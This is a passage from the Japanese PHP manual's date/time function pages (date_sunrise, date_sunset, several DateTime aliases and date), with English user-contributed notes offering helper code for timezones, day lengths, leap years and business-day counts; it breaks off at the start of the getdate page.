   if ($sunrise == 0 && $sunset == 0) {
   $sunrise24 = "";
   $sunset24 = "";
   //run suninfo
   $sunup = date_sun_info(strtotime($year."-".$month."-".$day), $lat, $lon);
   }

//check if sun is up all day.
if ($sunup[sunrise] == 1 && $sunup[sunrise] == 1) {
imagecopy($sky, $sun, 60, 20, 0, 0, $sun_width, $sun_height);
imagefill($sky, 0, 0, $bluesky);
}
?>
mother at localsnow dot com 23-Jun-2010 02:55
We needed the length of the day, both sunrise to sunset and twilight to twilight for particular latitudes. Sun_info() is just the thing. We mistakenly thought 'transit' was this value, which it is not. Transit is the time of day the sun is at its zenith. To get length of day, one must perform math on the results of sun_info().

When doing math with time values, don't expect date() to do the conversion to hours:minutes:seconds. date() thinks the passed value is a time since the epoch. You will need to do your own conversion to hours:minutes:seconds, using something like the following:
<?php
function hms($val) {
// convert seconds to hours:minutes:seconds
$v=$val;
$h=intval($v/3600);
$v-=($h*3600); // subtract hours
$m=intval($v/60);
$v-=($m*60); // subtract minutes
$s=$v % 60; // seconds remaining
if ($h<10) {$h="0".$h;}
if ($m<10) {$m="0".$m;}
if ($s<10) {$s="0".$s;}
return $h.":".$m.":".$s;
}
?>

Regarding date_sunrise() and date_sunset(), these both return values without seconds and without correction for Daylight time. Whereas sun_info() handles seconds as well as Daylight time. It even handles dates prior to the epoch correctly as negative timestamps, at least as of php 5.2.12

For example,
sun_info(strtotime('July 4, 1776'),47.3506,-122.6417)
produces something like the following when using date_default_timezone_set('America/Los_Angeles') and
date("H:i:s", $val)

sunrise: 04:20:26 [-6106016374]
sunset: 20:09:03 [-6105959457]
transit: 12:14:45 [-6105987915]
civil_twilight_begin: 03:40:54 [-6106018746]
civil_twilight_end: 20:48:35 [-6105957085]
nautical_twilight_begin: 02:46:58 [-6106021982]
nautical_twilight_end: 21:42:31 [-6105953849]
astronomical_twilight_begin: 01:28:06 [-6106026714]
astronomical_twilight_end: 23:01:23 [-6105949117]

* * *


指定した日付と場所についての日の出時刻を返す

  • ≪ date_sun_info
  • date_sunset ≫
  • PHP Manual
  • 日付・時刻 関数
  • 指定した日付と場所についての日の出時刻を返す

date_sunrise

(PHP 5, PHP 7, PHP 8)

date_sunrise — 指定した日付と場所についての日の出時刻を返す

説明

date_sunrise ( int $timestamp , int $returnFormat = SUNFUNCS_RET_STRING , float|null $latitude = null , float|null $longitude = null , float|null $zenith = null , float|null $utcOffset = null ) : string|int|float|false

date_sunrise() は、与えられた日付 (timestamp で指定する) と場所についての日の出の時刻を返します。

パラメータ

timestamp

日の出時刻を取得する日の timestamp。

returnFormat

returnFormat 定数
定数 | 説明 | 例
SUNFUNCS_RET_STRING | 結果を string で返します。 | 16:46
SUNFUNCS_RET_DOUBLE | 結果を float で返します。 | 16.78243132
SUNFUNCS_RET_TIMESTAMP | 結果を int (タイムスタンプ) で返します。 | 1095034606

latitude

デフォルトは北緯で、南緯は負の値で表します。 date.default_latitude も参照ください。

longitude

デフォルトは東経で、西経は負の値で表します。 date.default_longitude も参照ください。

zenith

zenith は 太陽の中心と、地球の表面からの垂線の間になす角度です。 デフォルトは date.sunrise_zenith です。

一般的な zenith の角度
角度 | 説明
90°50' | 日の出: 太陽が見えるようになる点
96° | 薄明かり: 夜明けの始まりを示すのに慣習的に使われます
102° | 航海上の薄明かり: 海の上で、水平線が見えはじめる点
108° | 天文学上の薄明かり: 太陽があらゆる明かりの光源になりはじめる点

utcOffset

時間単位で指定します。 returnFormat が SUNFUNCS_RET_TIMESTAMP の場合は、 utcOffset は無視されます。

返り値

日の出時刻を、指定した returnFormat で返します。 失敗した場合に false を返します 失敗する潜在的な可能性があります。太陽が全く昇らない場合です。 これは一年のある時期、極圏の中にある場合に起こります。

エラー / 例外

すべての日付/時刻関数は、 有効なタイムゾーンが設定されていない場合に E_NOTICE を発生させます。また、システム設定のタイムゾーンあるいは環境変数 TZ を使用した場合には E_STRICT あるいは E_WARNING を発生させます。 date_default_timezone_set() も参照ください。

変更履歴

バージョン | 説明
8.0.0 | latitude, longitude, zenith, utcOffset は、nullable になりました。

例

例1 date_sunrise() の例

<?php

/* ポルトガル リスボンの日の出時刻を計算する
緯度: 北緯 38.4
経度: 西経 9
天頂 ~= 90
時差: +1 GMT
*/

echo date("D M d Y"). ', sunrise time : ' .date_sunrise(time(), SUNFUNCS_RET_STRING, 38.4, -9, 90, 1);

?>

上の例の出力は、 たとえば以下のようになります。

Mon Dec 20 2004, sunrise time : 08:54

例2 No sunrise

<?php
$solstice = strtotime('2017-12-21');
var_dump(date_sunrise($solstice, SUNFUNCS_RET_STRING, 69.245833, -53.537222));
?>

上の例の出力は以下となります。

bool(false)

参考

  • date_sunset() - 指定した日付と場所についての日の入り時刻を返す
  • date_sun_info() - 日の出/日の入り時刻と薄明かり (twilight) の開始/終了時刻の情報を含む配列を返す

User Contributed Notes

nomail at nospam dot com 29-Mar-2018 11:27
maybe I am wrong, but I think

SUNFUNCS_RET_TIMESTAMP     return GMT(0) time

SUNFUNCS_RET_STRING     Return local time
SUNFUNCS_RET_DOUBLE     Return local time
scottix at gmail dot com 04-Dec-2013 12:46
If you are working in multiple timezones getting the offset from a date is a little tricky because you need it in hours.

<?php

$time = new DateTime('now', new DateTimeZone('America/Los_Angeles'));

date_sunrise(
 $time->getTimestamp(),
 SUNFUNCS_RET_TIMESTAMP,
 38.4,
 -9,
 90,
 $time->getOffset() / 3600
);
jonathanNO dot kuhnSPAM at gmailNOSPAM dot com 29-Mar-2010 11:14
After some searching, I finally found a website that can calculate the sun's zenith. Just look up your city's lat/long (remember, west/south are negative even if it doesn't show where you look up the lat/long) and the time of sunrise/sunset and use this site:

http://solardat.uoregon.edu/cgi-bin/SolarPositionCalculator.cgi

You have to enter in the sunrise/sunset times separately, but it works.
San Diego is:
 Lat: 32.73
 Long: -117.17
 Sunrise Z.: 90.7379
 Sunset Z.: 90.8880


指定した日付と場所についての日の入り時刻を返す

  • ≪ date_sunrise
  • date_time_set ≫
  • PHP Manual
  • 日付・時刻 関数
  • 指定した日付と場所についての日の入り時刻を返す

date_sunset

(PHP 5, PHP 7, PHP 8)

date_sunset — 指定した日付と場所についての日の入り時刻を返す

説明

date_sunset ( int $timestamp , int $returnFormat = SUNFUNCS_RET_STRING , float|null $latitude = null , float|null $longitude = null , float|null $zenith = null , float|null $utcOffset = null ) : string|int|float|false

date_sunset() は、与えられた日付 (timestamp で指定する) と場所についての日の入り時刻を返します。

パラメータ

timestamp

日の入り時刻を取得する日の timestamp。

returnFormat

returnFormat 定数
定数 | 説明 | 例
SUNFUNCS_RET_STRING | 結果を string で返します。 | 16:46
SUNFUNCS_RET_DOUBLE | 結果を float で返します。 | 16.78243132
SUNFUNCS_RET_TIMESTAMP | 結果を int (タイムスタンプ) で返します。 | 1095034606

latitude

デフォルトは北緯で、南緯は負の値で表します。 date.default_latitude も参照ください。

longitude

デフォルトは東経で、西経は負の値で表します。 date.default_longitude も参照ください。

zenith

zenith は 太陽の中心と、地球の表面からの垂線の間になす角度です。 デフォルトは date.sunset_zenith です。

一般的な zenith の角度
角度 | 説明
90°50' | 日の入り: 太陽が見えなくなる点
96° | 薄明かり: 夕暮れの終わりを示すのに慣習的に使われます
102° | 航海上の薄明かり: 海の上で、水平線が見えなくなった点
108° | 天文学上の薄明かり: 太陽があらゆる明かりの光源ではなくなった点

utcOffset

時間単位で指定します。 returnFormat が SUNFUNCS_RET_TIMESTAMP の場合は、 utcOffset は無視されます。

エラー / 例外

すべての日付/時刻関数は、 有効なタイムゾーンが設定されていない場合に E_NOTICE を発生させます。また、システム設定のタイムゾーンあるいは環境変数 TZ を使用した場合には E_STRICT あるいは E_WARNING を発生させます。 date_default_timezone_set() も参照ください。

返り値

日の入り時刻を、指定した returnFormat で返します。 失敗した場合に false を返します 失敗する潜在的な可能性があります。太陽が全く昇らない場合です。 これは一年のある時期、極圏の中にある場合に起こります。

変更履歴

バージョン | 説明
8.0.0 | latitude, longitude, zenith, utcOffset は、nullable になりました。

例

例1 date_sunset() の例

<?php

/* ポルトガル リスボンの日の入り時刻を計算する
緯度: 北緯 38.4
経度: 西経 9
天頂 ~= 90
時差: +1 GMT
*/

echo date("D M d Y"). ', sunset time : ' .date_sunset(time(), SUNFUNCS_RET_STRING, 38.4, -9, 90, 1);

?>

上の例の出力は、 たとえば以下のようになります。

Mon Dec 20 2004, sunset time : 18:13

例2 No sunset

<?php
$solstice = strtotime('2017-12-21');
var_dump(date_sunset($solstice, SUNFUNCS_RET_STRING, 69.245833, -53.537222));
?>

上の例の出力は以下となります。

bool(false)

参考

  • date_sunrise() - 指定した日付と場所についての日の出時刻を返す
  • date_sun_info() - 日の出/日の入り時刻と薄明かり (twilight) の開始/終了時刻の情報を含む配列を返す

User Contributed Notes

matt at mctsoft dot net 21-Jun-2019 06:26
yes SUNFUNCS_RET_TIMESTAMP does return GMT(0) time

so something like...

$arr = localtime(date_sunset(time(),SUNFUNCS_RET_TIMESTAMP,51.5,0)); // London

$hh = $arr[2];
$mm = $arr[1];

Will give figure out your localtime and daylight saving (BST)
nospam at nomail dot com 07-Apr-2018 06:13
maybe I am wrong, but I think

SUNFUNCS_RET_TIMESTAMP     return GMT(0) time

SUNFUNCS_RET_STRING     Return local time
SUNFUNCS_RET_DOUBLE     Return local time
michael at dayah dot com 30-Sep-2006 05:17
I use an IP to location database to determine the visitor's approximate latitude and longitude and then serve them a day or night color scheme based on whether it is before civil dawn or dusk. I've had problems when not specifying the timezone, specifically a 1 hour error, so I use GMT.

<?php
date_default_timezone_set("GMT");

function scheme() {
        $sunrise = date_sunrise(time(), SUNFUNCS_RET_DOUBLE, $latitude, $longitude, 96, 0);
        $sunset = date_sunset(time(), SUNFUNCS_RET_DOUBLE, $latitude, $longitude, 96, 0);
        $now = date("H") + date("i") / 60 + date("s") / 3600;

        if ($sunrise < $sunset)
                if (($now > $sunrise) && ($now < $sunset)) return "day";
                else return "night";
        else
                if (($now > $sunrise) || ($now < $sunset)) return "day";
                else return "night";
}
?>


DateTime::setTime のエイリアス

  • ≪ date_sunset
  • date_timestamp_get ≫
  • PHP Manual
  • 日付・時刻 関数
  • DateTime::setTime のエイリアス

date_time_set

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

date_time_set — DateTime::setTime() のエイリアス

説明

この関数は次の関数のエイリアスです。 DateTime::setTime()

User Contributed Notes

There are no user contributed notes for this page.


DateTime::getTimestamp のエイリアス

  • ≪ date_time_set
  • date_timestamp_set ≫
  • PHP Manual
  • 日付・時刻 関数
  • DateTime::getTimestamp のエイリアス

date_timestamp_get

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

date_timestamp_get — DateTime::getTimestamp() のエイリアス

説明

この関数は次の関数のエイリアスです。 DateTime::getTimestamp()

User Contributed Notes

There are no user contributed notes for this page.


DateTime::setTimestamp のエイリアス

  • ≪ date_timestamp_get
  • date_timezone_get ≫
  • PHP Manual
  • 日付・時刻 関数
  • DateTime::setTimestamp のエイリアス

date_timestamp_set

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

date_timestamp_set — DateTime::setTimestamp() のエイリアス

説明

この関数は次の関数のエイリアスです。 DateTime::setTimestamp()

User Contributed Notes

prt dot ed48 dot com 30-Jun-2013 01:52
Example 01:

<?php

date_default_timezone_set("UTC");

$dftz011 = date_default_timezone_get();

echo '<br><b>' . $dftz011 . '</b><br><br>';

$dtms011 = new DateTime();

$dtms011->setTimestamp(1234567890);

echo $dtms011->format('B => (U) => T Y-M-d H:i:s');

?>

Example 02:

<?php

date_default_timezone_set("America/New_York");

$dftz021 = date_default_timezone_get();

echo '<br><b>' . $dftz021 . '</b><br><br>';

$dtms021 = date_create();

date_timestamp_set($dtms021, 1234567890);

echo date_format($dtms021, 'B => (U) => T Y-M-d H:i:s');

?>


DateTime::getTimezone のエイリアス

  • ≪ date_timestamp_set
  • date_timezone_set ≫
  • PHP Manual
  • 日付・時刻 関数
  • DateTime::getTimezone のエイリアス

date_timezone_get

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

date_timezone_get — DateTime::getTimezone() のエイリアス

説明

この関数は次の関数のエイリアスです。 DateTime::getTimezone()

User Contributed Notes

There are no user contributed notes for this page.


DateTime::setTimezone のエイリアス

  • ≪ date_timezone_get
  • date ≫
  • PHP Manual
  • 日付・時刻 関数
  • DateTime::setTimezone のエイリアス

date_timezone_set

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

date_timezone_set — DateTime::setTimezone() のエイリアス

説明

この関数は次の関数のエイリアスです。 DateTime::setTimezone()

User Contributed Notes

There are no user contributed notes for this page.


ローカルの日付/時刻を書式化する

  • ≪ date_timezone_set
  • getdate ≫
  • PHP Manual
  • 日付・時刻 関数
  • ローカルの日付/時刻を書式化する

date

(PHP 4, PHP 5, PHP 7, PHP 8)

date — ローカルの日付/時刻を書式化する

説明

date ( string $format , int|null $timestamp = null ) : string

指定された引数 timestamp を、与えられた フォーマット文字列によりフォーマットし、日付文字列を返します。 タイムスタンプが与えられない場合は、現在の時刻が使われます。 つまり timestamp はオプションであり そのデフォルト値は time() の値です。

パラメータ

format

DateTimeInterface::format() が受け入れるフォーマット。

timestamp

オプションのパラメータ timestamp は、 int 型の Unix タイムスタンプです。 timestamp が指定されなかったり、null だった場合のデフォルト値は、 現在の時刻です。言い換えると、デフォルトは time() の返り値となります。

返り値

日付を表す文字列を返します。 timestamp に数字以外が使用された場合は false が返され、E_WARNING レベルのエラーが発生します。

エラー / 例外

すべての日付/時刻関数は、 有効なタイムゾーンが設定されていない場合に E_NOTICE を発生させます。また、システム設定のタイムゾーンあるいは環境変数 TZ を使用した場合には E_STRICT あるいは E_WARNING を発生させます。 date_default_timezone_set() も参照ください。

変更履歴

バージョン | 説明
8.0.0 | timestamp は、nullable になりました。

例

例1 date() の例

<?php
// 使用するデフォルトのタイムゾーンを指定します。PHP 5.1 以降で使用可能です。
date_default_timezone_set('UTC');

// 結果は、たとえば Monday のようになります。
echo date("l");

// 結果は、たとえば Monday 8th of August 2005 03:12:46 PM のようになります。
echo date('l jS \of F Y h:i:s A');

// 結果は July 1, 2000 is on a Saturday となります。
echo "July 1, 2000 is on a " . date("l", mktime(0, 0, 0, 7, 1, 2000));

/* 書式指定パラメータに、定数を使用します。 */
// 結果は、たとえば Wed, 25 Sep 2013 15:28:57 -0700 のようになります。
echo date(DATE_RFC2822);

// 結果は、たとえば 2000-07-01T00:00:00+00:00 のようになります。
echo date(DATE_ATOM, mktime(0, 0, 0, 7, 1, 2000));
?>

前にバックスラッシュを付けてエスケープすることにより、 フォーマット文字列として認識される文字が展開されることを防止することができます。 バックスラッシュ付きの文字は既に特別なシーケンスであり、 バックスラッシュもエスケープすることが必要となる可能性があります。

例2 date() の文字をエスケープする

<?php
// Wednesday the 15th のように出力
echo date('l \t\h\e jS');
?>

date() と mktime() の両方を用いて、未来または過去の日付を知ることができます。

例3 date() と mktime() の例

<?php
$tomorrow  = mktime(0, 0, 0, date("m")  , date("d")+1, date("Y"));
$lastmonth = mktime(0, 0, 0, date("m")-1, date("d"),   date("Y"));
$nextyear  = mktime(0, 0, 0, date("m"),   date("d"),   date("Y")+1);
?>

注意:

サマータイムがあるため、日付や月の秒数を単純にタイムスタンプに 可減算するよりもより信頼性があります。

date() フォーマットのいくつかの例を示します。 現在の実装で特別な意味がある文字や今後の PHP のバージョンで意味が 割り付けられるであろう文字については、望ましくない結果を避けるために エスケープする必要があることに注意してください。エスケープを する際には、改行文字 \n のような文字を回避するために シングルクォートを使用してください。

例4 date() のフォーマット指定

<?php
// 今日は March 10th, 2001, 5:16:18 pm であり、
// またタイムゾーンは Mountain Standard Time (MST) であるものとします

$today = date("F j, Y, g:i a");                 // March 10, 2001, 5:16 pm
$today = date("m.d.y");                         // 03.10.01
$today = date("j, n, Y");                       // 10, 3, 2001
$today = date("Ymd");                           // 20010310
$today = date('h-i-s, j-m-y, it is w Day');     // 05-16-18, 10-03-01, 1631 1618 6 Satpm01
$today = date('\i\t \i\s \t\h\e jS \d\a\y.');   // it is the 10th day.
$today = date("D M j G:i:s T Y");               // Sat Mar 10 17:16:18 MST 2001
$today = date('H:m:s \m \i\s\ \m\o\n\t\h');     // 17:03:18 m is month
$today = date("H:i:s");                         // 17:16:18
$today = date("Y-m-d H:i:s");                   // 2001-03-10 17:16:18 (MySQL の DATETIME フォーマット)
?>

他の言語で日付をフォーマットするためには、date() のかわりに setlocale() および strftime() 関数を使用する必要があります。

注意

注意:

日付の文字列表現からタイムスタンプを生成するには、 strtotime() が使用できるでしょう。 さらに、いくつかのデータベースは（MySQL の » UNIX_TIMESTAMP 関数の ような）日付フォーマットからタイムスタンプへの変換関数を有しています。

ヒント

PHP 5.1 以降、$_SERVER['REQUEST_TIME'] によってリクエスト開始時のタイムスタンプが取得できるようになりました。

参考

  • gmdate() - GMT/UTC の日付/時刻を書式化する
  • idate() - ローカルな時刻/日付を整数として整形する
  • getdate() - 日付/時刻情報を取得する
  • getlastmod() - 最終更新時刻を取得する
  • mktime() - 日付を Unix のタイムスタンプとして取得する
  • strftime() - ロケールの設定に基づいてローカルな日付・時間をフォーマットする
  • time() - 現在の Unix タイムスタンプを返す
  • DateTimeImmutable::__construct() - 新しい DateTimeImmutable オブジェクトを返す
  • 定義済みの定数

User Contributed Notes

mparsa1372 at gmail dot com 12-Mar-2021 03:13
The example below formats today's date in three different ways:

<?php
echo "Today is " . date("Y/m/d") . "<br>";
echo "Today is " . date("Y.m.d") . "<br>";
echo "Today is " . date("Y-m-d") . "<br>";
echo "Today is " . date("l");
?>
Jaap 22-Sep-2020 11:20
For users looking to format a unix timestamp with microseconds to mysql datetime, this function should do the trick:
<?php
        function sqlDateTimeFromMicroTimestamp(int $microtimestamp):string{
            $dt = new \DateTimeImmutable();
            $normalTimestamp = (int)floor($microtimestamp / 1000000);
            $sqlTimestampWithoutMicroseconds = $dt->setTimestamp($normalTimestamp)->format('Y-m-d H:i:s');
            $sqlTimestampWithMicroseconds = $sqlTimestampWithoutMicroseconds . '.'. ($microtimestamp % 1000000);
            return $sqlTimestampWithMicroseconds;
        }
?>
arth dot inbox at gmail dot com 12-Dec-2018 06:02
Looks like date('u') is not microseconds, but is positive difference from rest part.

php > echo (DateTime::createFromFormat('U.u', '-128649659.999998'))->format('Y-m-d H:i:s.u U.u');
1965-12-03 23:59:01.999998 -128649659.999998

`U.u` parsed and formatted same, but means not 1965-12-03 23:59:00.000002.
Other words correct timestamp for example above is (-128649659 + 0.999998).

Less confusing format for it is:

php > echo DateTime::createFromFormat('U\+0.u', '-128649660+0.000002')->format('Y-m-d H:i:s.u');
1965-12-03 23:59:00.000002

Is that bug or feature?
mirco dot babin at gmail dot com 06-Dec-2018 08:58
One important thing you should remember is that the timestamp value returned by time() is time-zone agnostic and gets the number of seconds since 1 January 1970 at 00:00:00 UTC. This means that at a particular point in time, this function will return the same value in the US, Europe, India, Japan, ...

date() will format a time-zone agnostic timestamp according to the default timezone set with date_default_timezone_set(...). Local time. If you want to output as UTC time use:

<?php
function dateUTC($format, $timestamp = null)
{
    if ($timestamp === null) $timestamp = time();

    $tz = date_default_timezone_get();
    date_default_timezone_set('UTC');

    $result = date($format, $timestamp);

    date_default_timezone_set($tz);
    return $result;
}
/>
bruslbn at gmail dot com 27-Jan-2018 10:10
In order to define leap year you must considre not only that year can be divide by 4!

The correct alghoritm is:

if (year is not divisible by 4) then (it is a common year)
else if (year is not divisible by 100) then (it is a leap year)
else if (year is not divisible by 400) then (it is a common year)
else (it is a leap year)

So the code should look like this:

if($year%4 == 0 && $year%100 != 0) {
    $leapYear = 1;
} elseif($year%400 == 0) {
    $leapYear = 1;
} else {
    $leapYear = 0;
}
bruslbn at gmail dot com 27-Jan-2018 10:10
In order to define leap year you must considre not only that year can be divide by 4!

The correct alghoritm is:

if (year is not divisible by 4) then (it is a common year)
else if (year is not divisible by 100) then (it is a leap year)
else if (year is not divisible by 400) then (it is a common year)
else (it is a leap year)

So the code should look like this:

if($year%4 == 0 && $year%100 != 0) {
    $leapYear = 1;
} elseif($year%400 == 0) {
    $leapYear = 1;
} else {
    $leapYear = 0;
}
bruslbn at gmail dot com 27-Jan-2018 10:10
In order to define leap year you must considre not only that year can be divide by 4!

The correct alghoritm is:

if (year is not divisible by 4) then (it is a common year)
else if (year is not divisible by 100) then (it is a leap year)
else if (year is not divisible by 400) then (it is a common year)
else (it is a leap year)

So the code should look like this:

if($year%4 == 0 && $year%100 != 0) {
    $leapYear = 1;
} elseif($year%400 == 0) {
    $leapYear = 1;
} else {
    $leapYear = 0;
}
rc at macshot dot de 18-Feb-2017 05:13
At least in PHP 5.5.38 date('j.n.Y', 2222222222) gives a result of 2.6.2040.

So date is not longer limited to the minimum and maximum values for a 32-bit signed integer as timestamp.
david dot thomas at elliott-thomas dot com dot au 01-Oct-2016 02:16
Prior to PHP 5.6.23,  Relative Formats for the start of the week aligned with PHP's (0=Sunday,6=Saturday). Since 5.6.23,  Relative Formats for the start of the week align with ISO-8601 (1=Monday,7=Sunday). (http://php.net/manual/en/datetime.formats.relative.php)

This can produce different, and seemingly incorrect, results depending on your PHP version and your choice of 'w' or 'N' for the Numeric representation of the day of the week:

<?php
echo "Today is Sun 2 Oct 2016, day ",date('w',strtotime('2016-10-02'))," of this week. ";
echo "Day ",date('w',strtotime('2016-10-02 Monday next week'))," of next week is ",date('d M Y',strtotime('2016-10-02 Monday next week')),"<br />";

echo "Today is Sun 2 Oct 2016, day ",date('N',strtotime('2016-10-02'))," of this week. ";
echo "Day ",date('w',strtotime('2016-10-02 Monday next week'))," of next week is ",date('d M Y',strtotime('2016-10-02 Monday next week'));
?>

Prior to PHP 5.6.23, this results in:

Today is Sun 2 Oct 2016, day 0 of this week. Day 1 of next week is 10 Oct 2016
Today is Sun 2 Oct 2016, day 7 of this week. Day 1 of next week is 10 Oct 2016

Since PHP 5.6.23, this results in:

Today is Sun 2 Oct 2016, day 0 of this week. Day 1 of next week is 03 Oct 2016
Today is Sun 2 Oct 2016, day 7 of this week. Day 1 of next week is 03 Oct 2016
Anonymous 10-Jan-2016 02:04
If timestamp is a string, date converts it to an integer in a possibly unexpected way:

<?php
echo (int)'0x10'; //0
echo intval('0x10'); //0
echo date('s', '0x10'); //gives 16
//however, no octal conversion:
echo date('s', '010'); //gives 10
?>

(PHP 5.6.16)
Charlie 09-Dec-2015 02:30
For HTML5 datetime-local HTML input controls (http://www.w3.org/TR/html-markup/input.datetime-local.html) use format example: 1996-12-19T16:39:57

To generate this, escape the 'T', as shown below:

<?php
date('Y-m-d\TH:i:s');
?>
ivijan dot stefan at gmail dot com 20-Mar-2015 04:45
If you have a problem with the different time zone, this is the solution for that.
<?php
// first line of PHP
$defaultTimeZone='UTC';
if(date_default_timezone_get()!=$defaultTimeZone)) date_default_timezone_set($defaultTimeZone);

// somewhere in the code
function _date($format="r", $timestamp=false, $timezone=false)
{
    $userTimezone = new DateTimeZone(!empty($timezone) ? $timezone : 'GMT');
    $gmtTimezone = new DateTimeZone('GMT');
    $myDateTime = new DateTime(($timestamp!=false?date("r",(int)$timestamp):date("r")), $gmtTimezone);
    $offset = $userTimezone->getOffset($myDateTime);
    return date($format, ($timestamp!=false?(int)$timestamp:$myDateTime->format('U')) + $offset);
}

/* Example */
echo 'System Date/Time: '.date("Y-m-d | h:i:sa").'<br>';
echo 'New York Date/Time: '._date("Y-m-d | h:i:sa", false, 'America/New_York').'<br>';
echo 'Belgrade Date/Time: '._date("Y-m-d | h:i:sa", false, 'Europe/Belgrade').'<br>';
echo 'Belgrade Date/Time: '._date("Y-m-d | h:i:sa", 514640700, 'Europe/Belgrade').'<br>';
?>
This is the best and fastest solution for this problem. Working almost identical to date() function only as a supplement has the time zone option.
Anonymous 10-Mar-2014 09:09
It's common for us to overthink the complexity of date/time calculations and underthink the power and flexibility of PHP's built-in functions.  Consider http://php.net/manual/en/function.date.php#108613

<?php
function get_time_string($seconds)
{
    return date('H:i:s', strtotime("2000-01-01 + $seconds SECONDS"));
}
matthew dot hotchen at worldfirst dot com 30-Jan-2014 10:25
FYI: there's a list of constants with predefined formats on the DateTime object, for example instead of outputting ISO 8601 dates with:

<?php
echo date('c');
?>

or

<?php
echo date('Y-m-d\TH:i:sO');
?>

You can use

<?php
echo date(DateTime::ISO8601);
?>

instead, which is much easier to read.
adityabhai at gmail dot com 08-Oct-2013 01:57
For Microseconds, we can get by following:

echo date('Ymd His'.substr((string)microtime(), 1, 8).' e');

Thought, it might be useful to someone !
FiraSEO 28-Feb-2013 07:23
this how you make an HTML5 <time> tag correctly

<?php

echo '<time datetime="'.date('c').'">'.date('Y - m - d').'</time>';

?>

in the "datetime" attribute you should put a machine-readable value which represent time , the best value is a full time/date with ISO 8601 ( date('c') ) ,,, the attr will be hidden from users

and it doesn't really matter what you put as a shown value to the user,, any date/time format is okay !

This is very good for SEO especially search engines like Google .
Bas Vijfwinkel 19-Mar-2012 06:47
Note that some formatting options are different from MySQL.
For example using a 24 hour notation without leading zeros is the option '%G' in PHP but '%k' in MySQL.
When using dynamically generated date formatting string, be careful to generate the correct options for either PHP or MySQL.
Jimmy 22-Dec-2011 05:04
Things to be aware of when using week numbers with years.

<?php
echo date("YW", strtotime("2011-01-07")); // gives 201101
echo date("YW", strtotime("2011-12-31")); // gives 201152
echo date("YW", strtotime("2011-01-01")); // gives 201152 too
?>

BUT

<?php
echo date("oW", strtotime("2011-01-07")); // gives 201101
echo date("oW", strtotime("2011-12-31")); // gives 201152
echo date("oW", strtotime("2011-01-01")); // gives 201052 (Year is different than previous example)
?>

Reason:
Y is year from the date
o is ISO-8601 year number
W is ISO-8601 week number of year

Conclusion:
if using 'W' for the week number use 'o' for the year.
ghotinet 13-Dec-2010 10:06
Most spreadsheet programs have a rather nice little built-in function called NETWORKDAYS to calculate the number of business days (i.e. Monday-Friday, excluding holidays) between any two given dates. I couldn't find a simple way to do that in PHP, so I threw this together. It replicates the functionality of OpenOffice's NETWORKDAYS function - you give it a start date, an end date, and an array of any holidays you want skipped, and it'll tell you the number of business days (inclusive of the start and end days!) between them.

I've tested it pretty strenuously but date arithmetic is complicated and there's always the possibility I missed something, so please feel free to check my math.

The function could certainly be made much more powerful, to allow you to set different days to be ignored (e.g. "skip all Fridays and Saturdays but include Sundays") or to set up dates that should always be skipped (e.g. "skip July 4th in any year, skip the first Monday in September in any year"). But that's a project for another time.

<?php

function networkdays($s, $e, $holidays = array()) {
    // If the start and end dates are given in the wrong order, flip them.
    if ($s > $e)
        return networkdays($e, $s, $holidays);

    // Find the ISO-8601 day of the week for the two dates.
    $sd = date("N", $s);
    $ed = date("N", $e);

    // Find the number of weeks between the dates.
    $w = floor(($e - $s)/(86400*7));    # Divide the difference in the two times by seven days to get the number of weeks.
    if ($ed >= $sd) { $w--; }        # If the end date falls on the same day of the week or a later day of the week than the start date, subtract a week.

    // Calculate net working days.
    $nwd = max(6 - $sd, 0);    # If the start day is Saturday or Sunday, add zero, otherewise add six minus the weekday number.
    $nwd += min($ed, 5);    # If the end day is Saturday or Sunday, add five, otherwise add the weekday number.
    $nwd += $w * 5;        # Add five days for each week in between.

    // Iterate through the array of holidays. For each holiday between the start and end dates that isn't a Saturday or a Sunday, remove one day.
    foreach ($holidays as $h) {
        $h = strtotime($h);
        if ($h > $s && $h < $e && date("N", $h) < 6)
            $nwd--;
    }

    return $nwd;
}

$start = strtotime("1 January 2010");
$end = strtotime("13 December 2010");

// Add as many holidays as desired.
$holidays = array();
$holidays[] = "4 July 2010";            // Falls on a Sunday; doesn't affect count
$holidays[] = "6 September 2010";        // Falls on a Monday; reduces count by one

echo networkdays($start, $end, $holidays);    // Returns 246

?>

Or, if you just want to know how many work days there are in any given year, here's a quick function for that one:

<?php

function workdaysinyear($y) {
    $j1 = mktime(0,0,0,1,1,$y);
    if (date("L", $j1)) {
        if (date("N", $j1) == 6)
            return 260;
        elseif (date("N", $j1) == 5 or date("N", $j1) == 7)
            return 261;
        else
            return 262;
    }
    else {
        if (date("N", $j1) == 6 or date("N", $j1) == 7)
            return 260;
        else
            return 261;
    }
}

?>
SpikeDaCruz 09-Mar-2006 11:12
The following function will return the date (on the Gregorian calendar) for Orthodox Easter (Pascha).  Note that incorrect results will be returned for years less than 1601 or greater than 2399. This is because the Julian calendar (from which the Easter date is calculated) deviates from the Gregorian by one day for each century-year that is NOT a leap-year, i.e. the century is divisible by 4 but not by 10.  (In the old Julian reckoning, EVERY 4th year was a leap-year.)

This algorithm was first proposed by the mathematician/physicist Gauss.  Its complexity derives from the fact that the calculation is based on a combination of solar and lunar calendars.

<?php
function getOrthodoxEaster($date){
  /*
   Takes any Gregorian date and returns the Gregorian
   date of Orthodox Easter for that year.
  */
  $year = date("Y", $date);
  $r1 = $year % 19;
  $r2 = $year % 4;
  $r3 = $year % 7;
  $ra = 19 * $r1 + 16;
  $r4 = $ra % 30;
  $rb = 2 * $r2 + 4 * $r3 + 6 * $r4;
  $r5 = $rb % 7;
  $rc = $r4 + $r5;
  //Orthodox Easter for this year will fall $rc days after April 3
  return strtotime("3 April $year + $rc days");
}
?>


日付/時刻情報を取得する

  • ≪ date
  • gettimeofday ≫
  • PHP Manual
  • 日付・時刻 関数
  • 日付/時刻情報を取得する

getdate

(PHP 4, PHP 5, PHP 7, PHP 8)

getdate — 日付/時刻情報を取得する

説明

getdate ( int|null $timestamp = null ) : array

timestamp に関する日付情報を有する連想配列を返します。 timestamp が省略されたり、null だった場合、現在のローカルな時間に関する情報を返します。

パラメータ

timestamp

オプションのパラメータ timestamp は、 int 型の Unix タイムスタンプです。 timestamp が指定されなかったり、null だった場合のデフォルト値は、 現在の時刻です。言い換えると、デフォルトは time() の返り値となります。

返り値

